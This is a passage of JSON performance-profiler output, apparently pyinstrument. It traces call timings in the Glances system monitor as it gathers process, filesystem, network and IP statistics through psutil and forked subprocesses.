\"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.0020004940015496686, \"l148\": 0.0020004940015496686},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004940015496686, \"l539\": 0.0020004940015496686},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020016440030303784, \"l1064\": 0.0020016440030303784},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002002,\"attributes\": {\"l1682\": 0.0020016440030303784},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002002,\"attributes\": {\"l538\": 0.0020016440030303784},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019968529959442094, \"l939\": 0.0019968529959442094},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019968529959442094, \"l1593\": 0.0019968529959442094},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019968529959442094, \"l2052\": 0.0019968529959442094},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019968529959442094, \"l1593\": 0.0019968529959442094},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019968529959442094, \"l382\": 0.0019968529959442094},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019968529959442094, \"l1718\": 0.0019968529959442094},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002300007035956, \"l1079\": 0.0020002300007035956},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002300007035956, \"l1593\": 0.0020002300007035956},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002300007035956, \"l1835\": 0.0020002300007035956},\"children\": [{\"identifier\": \"<lambda>\\u0000<string>\\u00001\",\"time\": 0.002000,\"attributes\": {\"l1\": 0.0020002300007035956},\"children\": [{\"identifier\": \"tuple.__new__\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999885993427597, \"l1116\": 0.001999885993427597},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996980045107193, \"l939\": 0.0019996980045107193},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996980045107193, \"l1593\": 0.0019996980045107193},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996980045107193, \"l2052\": 0.0019996980045107193},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.004002,\"attributes\": {\"cProcess\": 0.0040023339970503, \"l836\": 0.0040023339970503},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004002,\"attributes\": {\"cProcess\": 0.0040023339970503, \"l1593\": 0.0040023339970503},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.004002,\"attributes\": {\"cProcess\": 0.0040023339970503, \"l1796\": 0.0040023339970503},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.004002,\"attributes\": {\"l682\": 0.0040023339970503},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.004002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000359003432095, \"l680\": 0.002000359003432095},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000359003432095, \"l1593\": 0.002000359003432095},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000359003432095, \"l1740\": 0.002000359003432095},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000359003432095, \"l1593\": 0.002000359003432095},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000359003432095, \"l382\": 0.002000359003432095},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000359003432095, \"l1683\": 0.002000359003432095},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.002000359003432095},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l719\": 0.002000359003432095},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999107997107785, \"l836\": 0.001999107997107785},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999107997107785, \"l1593\": 0.001999107997107785},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999107997107785, \"l1796\": 0.001999107997107785},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.001999107997107785},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001998,\"attributes\": {\"c_GeneratorContextManager\": 0.0019978990021627396, \"l141\": 0.0019978990021627396},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.008002,\"attributes\": {\"cProcess\": 0.008002247996046208, \"l639\": 0.008002247996046208},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.008002,\"attributes\": {\"cProcess\": 0.008002247996046208, \"l314\": 0.008002247996046208},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.008002,\"attributes\": {\"cProcess\": 0.008002247996046208, \"l347\": 0.006000373999995645, \"l341\": 0.0020018739960505627},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.006000373999995645, \"l394\": 0.006000373999995645},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999097003543284, \"l1593\": 0.003999097003543284},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999097003543284, \"l1857\": 0.003999097003543284},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999097003543284, \"l1593\": 0.003999097003543284},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000259999476839, \"l375\": 0.002000259999476839},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000259999476839, \"l1683\": 0.002000259999476839},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.002000259999476839},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l719\": 0.002000259999476839},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001623\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020018739960505627, \"l1628\": 0.0020018739960505627},\"children\": [{\"identifier\": \"get_procfs_path\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000752\",\"time\": 0.002002,\"attributes\": {\"l754\": 0.0020018739960505627},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update_processcount\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000173\",\"time\": 0.001997,\"attributes\": {\"cGlancesProcesses\": 0.0019974330061813816, \"l180\": 0.0019974330061813816},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.004000,\"attributes\": {\"cGlancesProcesses\": 0.003999856999143958, \"l689\": 0.003999856999143958},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.004000,\"attributes\": {\"l589\": 0.003999856999143958},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.004000,\"attributes\": {\"l584\": 0.003999856999143958},\"children\": [{\"identifier\": \"hasattr\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.0020025179983349517, \"l155\": 0.0020025179983349517},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002003,\"attributes\": {\"cGlancesProcesses\": 0.0020025179983349517, \"l711\": 0.0020025179983349517},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002003,\"attributes\": {\"l69\": 0.0020025179983349517},\"children\": [{\"identifier\": \"create_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000017\",\"time\": 0.002003,\"attributes\": {\"l19\": 0.0020025179983349517},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007997,\"attributes\": {\"cProgramlistPlugin\": 0.007996624997758772, \"l678\": 0.005996506995870732, \"l677\": 0.0020001180018880405},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.003997,\"attributes\": {\"cProgramlistPlugin\": 0.003996835999714676, \"l633\": 0.003996835999714676},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.003997,\"attributes\": {\"cProgramlistPlugin\": 0.003996835999714676, \"l623\": 0.0019974960014224052, \"l614\": 0.001999339998292271},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"listkeys\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000131\",\"time\": 0.002000,\"attributes\": {\"l132\": 0.0020001180018880405},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019996709961560555, \"l633\": 0.0019996709961560555},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019996709961560555, \"l619\": 0.0019996709961560555},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002013,\"attributes\": {\"l1295\": 0.0020125919982092455},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/network/__init__.py\\u0000109\",\"time\": 0.002013,\"attributes\": {\"cNetworkPlugin\": 0.0020125919982092455, \"l116\": 0.0020125919982092455},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.002013,\"attributes\": {\"cNetworkPlugin\": 0.0020125919982092455, \"l1351\": 0.0020125919982092455},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/network/__init__.py\\u0000130\",\"time\": 0.002013,\"attributes\": {\"cNetworkPlugin\": 0.0020125919982092455, \"l156\": 0.0020125919982092455},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002289\",\"time\": 0.002013,\"attributes\": {\"l2301\": 0.0020125919982092455},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000992\",\"time\": 0.002013,\"attributes\": {\"l999\": 0.0020125919982092455},\"children\": [{\"identifier\": \"net_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000945\",\"time\": 0.002013,\"attributes\": {\"l950\": 0.0020125919982092455},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002013,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.009988,\"attributes\": {\"cProcesslistPlugin\": 0.009987661003833637, \"l678\": 0.007989162004378159, \"l677\": 0.001998498999455478},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.007989,\"attributes\": {\"cProcesslistPlugin\": 0.007989162004378159, \"l633\": 0.005980579007882625, \"l634\": 0.0020085829964955337},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001991,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002009,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.001997035004023928, \"l621\": 0.001997035004023928},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"listkeys\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000131\",\"time\": 0.001998,\"attributes\": {\"l132\": 0.001998498999455478},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000216\",\"time\": 0.002003,\"attributes\": {\"cSensorsPlugin\": 0.002002925000851974, \"l219\": 0.002002925000851974},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.002003,\"attributes\": {\"cSensorsPlugin\": 0.002002925000851974, \"l678\": 0.002002925000851974},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.002003,\"attributes\": {\"cSensorsPlugin\": 0.002002925000851974, \"l656\": 0.002002925000851974},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.019096,\"attributes\": {\"cFsPlugin\": 0.015100158998393454, \"l1278\": 0.019095785995887127, \"cIpPlugin\": 0.0020318509996286593, \"cQuicklookPlugin\": 0.0019637759978650138},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.019096,\"attributes\": {\"l1295\": 0.019095785995887127},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.015100,\"attributes\": {\"cFsPlugin\": 0.015100158998393454, \"l131\": 0.015100158998393454},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.015100,\"attributes\": {\"cFsPlugin\": 0.015100158998393454, \"l182\": 0.015100158998393454},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.015100,\"attributes\": {\"l630\": 0.004509398000664078, \"l631\": 0.010590760997729376},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002947,\"attributes\": {\"cForkProcess\": 0.0029467560016200878, \"l121\": 0.0029467560016200878},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002947,\"attributes\": {\"l281\": 0.0029467560016200878},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002947,\"attributes\": {\"cPopen\": 0.0029467560016200878, \"l20\": 0.0029467560016200878},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002947,\"attributes\": {\"cPopen\": 0.0029467560016200878, \"l70\": 0.0029467560016200878},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002947,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.005508,\"attributes\": {\"cForkProcess\": 0.005508406997250859, \"l156\": 0.005508406997250859},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.005508,\"attributes\": {\"cPopen\": 0.005508406997250859, \"l41\": 0.005508406997250859},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.005508,\"attributes\": {\"l1165\": 0.005508406997250859},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005508,\"attributes\": {\"cPollSelector\": 0.005508406997250859, \"l398\": 0.005508406997250859},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005508,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005508,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.001563,\"attributes\": {\"cForkProcess\": 0.00156264199904399, \"l126\": 0.00156264199904399},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001563,\"attributes\": {},\"children\": []}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.005082,\"attributes\": {\"cForkProcess\": 0.005082354000478517, \"l156\": 0.005082354000478517},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.005082,\"attributes\": {\"cPopen\": 0.005082354000478517, \"l41\": 0.005082354000478517},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.005082,\"attributes\": {\"l1165\": 0.005082354000478517},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005082,\"attributes\": {\"cPollSelector\": 0.005082354000478517, \"l398\": 0.005082354000478517},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005082,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005082,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000116\",\"time\": 0.002032,\"attributes\": {\"cIpPlugin\": 0.0020318509996286593, \"l127\": 0.0020318509996286593},\"children\": [{\"identifier\": \"get_stats_for_local_input\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000138\",\"time\": 0.002032,\"attributes\": {\"cIpPlugin\": 0.0020318509996286593, \"l140\": 0.0020318509996286593},\"children\": [{\"identifier\": \"get_first_ip\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u000089\",\"time\": 0.002032,\"attributes\": {\"cIpPlugin\": 0.0020318509996286593, \"l90\": 0.0020318509996286593},\"children\": [{\"identifier\": \"get_ip_address\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000740\",\"time\": 0.002032,\"attributes\": {\"l746\": 0.0020318509996286593},\"children\": [{\"identifier\": \"net_if_addrs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002228\",\"time\": 0.002032,\"attributes\": {\"l2246\": 0.0020318509996286593},\"children\": [{\"identifier\": \"net_if_addrs\\u0000<built-in>\\u00000\",\"time\": 0.002032,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002032,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.001964,\"attributes\": {\"cQuicklookPlugin\": 0.0019637759978650138, \"l117\": 0.0019637759978650138},\"children\": [{\"identifier\": 